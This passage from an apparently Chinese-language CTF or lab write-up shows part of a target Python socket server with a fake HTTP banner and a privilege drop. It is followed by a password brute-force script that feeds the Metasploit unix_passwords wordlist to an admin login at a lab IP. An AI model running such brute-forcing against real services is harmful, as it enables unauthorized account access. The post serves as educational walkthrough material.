        remove_socket(client_socket)


def start_server(host, port):
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(5)
    print(f"Server listening on {host}:{port}...")

    while True:
        client_socket, client_address = server_socket.accept()
        # Start a new process to handle the client
        p = multiprocessing.Process(target=handle_client, args=(client_socket, client_address))
        p.start()


def remove_socket(client_socket):
    client_socket.close()
    global admins

    # Replace the original and admins lists
    admins = admins._getvalue()

    try:
        if str(client_socket) in admins:
            admins.remove(str(client_socket))
    except:
        pass


# Check if the received data is an HTTP request
def is_http(data):
    if ('HTTP' in data) and ('Host:' in data):
        return True
    return False


# Sends a fake Python HTTP Server Banner
def fake_http():
    try:
        # Get the current date and time
        current_datetime = datetime.datetime.now()

        # Format the date and time according to the desired format
        formatted_datetime = current_datetime.strftime("%a %b %d %H:%M:%S %Z %Y")
        banner = """
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.2
Date: {date}""".format(date=formatted_datetime) + """
Content-type: text/html; charset=utf-8
Content-Length: 27

Try a more basic connection!
"""
        return banner[1:]
    except:
        return 'HTTP/1.0 200 OK'


def change_uid():
    uid = os.getuid()

    if uid == 0:
        # Make python code execution run as user 33 (www-data)
        euid = 33
        groups = os.getgroups()
        if 0 in groups:
            groups.remove(0)
        os.setgroups(groups)
        os.setgid(euid)
        os.setuid(euid)


# MAIN
if __name__ == "__main__":
    host = "0.0.0.0"  # Replace with your desired IP address
    port = 8000  # Replace with your desired port number

    try:
        start_server(host, port)
    except KeyboardInterrupt:
        print('Shutting Down...')
        sys.exit(1)

编写脚本

我咨询了一下rpj7师傅:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import socket

HOST = "10.0.0.108" # Server ip address
PORT = 8000  # The port used by the server

def connectdostuff(fndata):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        s.sendall(b"admin\n")
        data = s.recv(1024)
        s.sendall(bytes(fndata+"\n",encoding="ascii"))
        data = s.recv(1024)
        s.close()
    print(f" {data!r}")

file1 = open('/usr/share/wordlists/metasploit/unix_passwords.txt', 'r')
Lines = file1.readlines()
count=0
for line in Lines:
    count += 1
    print("Line{}: {}".format(count, line.strip()))
    connectdostuff(line)

正常的程序应答应该是这样的:

image-20240417190516847

我尝试使用python的pwntools库进行连接爆破但是失败了。。。。rpj7师傅的脚本倒是轻而易举就运行成功了。

image-20240417191500925

本文由作者按照 CC BY 4.0 进行授权